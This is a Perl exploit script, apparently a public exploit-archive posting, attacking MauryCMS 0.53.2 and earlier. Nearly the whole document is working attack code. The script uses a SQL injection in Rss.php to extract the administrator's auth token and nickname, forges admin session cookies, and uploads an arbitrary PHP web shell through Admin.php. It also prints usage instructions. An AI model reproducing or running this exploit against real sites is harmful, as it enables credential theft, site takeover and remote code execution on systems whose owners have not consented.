SecurityReason - MauryCMS <= 0.53.2 Remote Shell Upload Exploit ( Exploit )

Exploit Code :

#!/usr/bin/perl

=about

MauryCMS <= 0.53.2 Remote Shell Upload Exploit
----------------------------------------------
by athos - staker[at]hotmail[dot]it
download on http://cms.maury91.org
thnx Osirys

=cut

use strict;
use warnings;
use LWP::UserAgent;

my ($http,$post,$user,$pass,@auth,@read,$shell);

my $host = shift @ARGV;
my $file = shift @ARGV or &usage;

open(FILE,$file) or die("file error!\n");

@read = <FILE>;

foreach(@read)
{
$shell .= $_;
}

close(FILE);

&usage if $host !~ /http:\/\/(.+?)$/i && $file !~ /[a-zA-Z](\.php)/i;

my @path = split /\//,substr($host,7);

$http = new LWP::UserAgent(
agent => "Mozilla/4.5 [en] (Win95; U)",
);

@auth = split(':',get_cookies());

if(not defined($path[1]))
{
$user = qq{_nick=${auth[1]}; path=/; };
$pass = qq{_sauth=${auth[0]}; path=/;};
}
else
{
$user = qq{/${path[1]}_nick=${auth[1]}; path=/; };
$pass = qq{/${path[1]}_sauth=${auth[0]}; path=/;};
}

$http->default_header('Cookie' => $user.$pass);

$post = $http->post($host.'/Admin.php',[
'zone' => 'Modify',
'txtfname' => $file,
'txttext' => $shell,
]);

if($post->is_success && $post->as_string =~ /File Scritto/i)
{
print STDOUT "Exploit Successfully!\n";
print STDOUT "$host/$file\n";
exit;
}
else
{
print STDOUT "Exploit Failed!\n";
exit;
}

sub get_cookies
{
my ($query,$cookie,$content);

$query = "/Rss.php?c=-1+union+select+1,concat(sauth,0x3a,nick),".
"3,4,5,6,7,8,9+from+mcms_users+where+id=1--";

$cookie = $http->get($host.$query);
$content = $cookie->content;

if($cookie->is_success & $content =~ /<title>(.+?)<\/title>/i)
{
return $1;
}
}

sub usage
{
print STDOUT "MauryCMS <= 0.53.2 Remote Shell Upload Exploit\n".
"by athos - staker[at]hotmail[dot]it\n".
"----------------------------------------------\n".
"Usage: perl $0 http://[host] [name_shell.php]\n".
"Usage: perl $0 http://localhost/cms shell.php\n";
exit;
}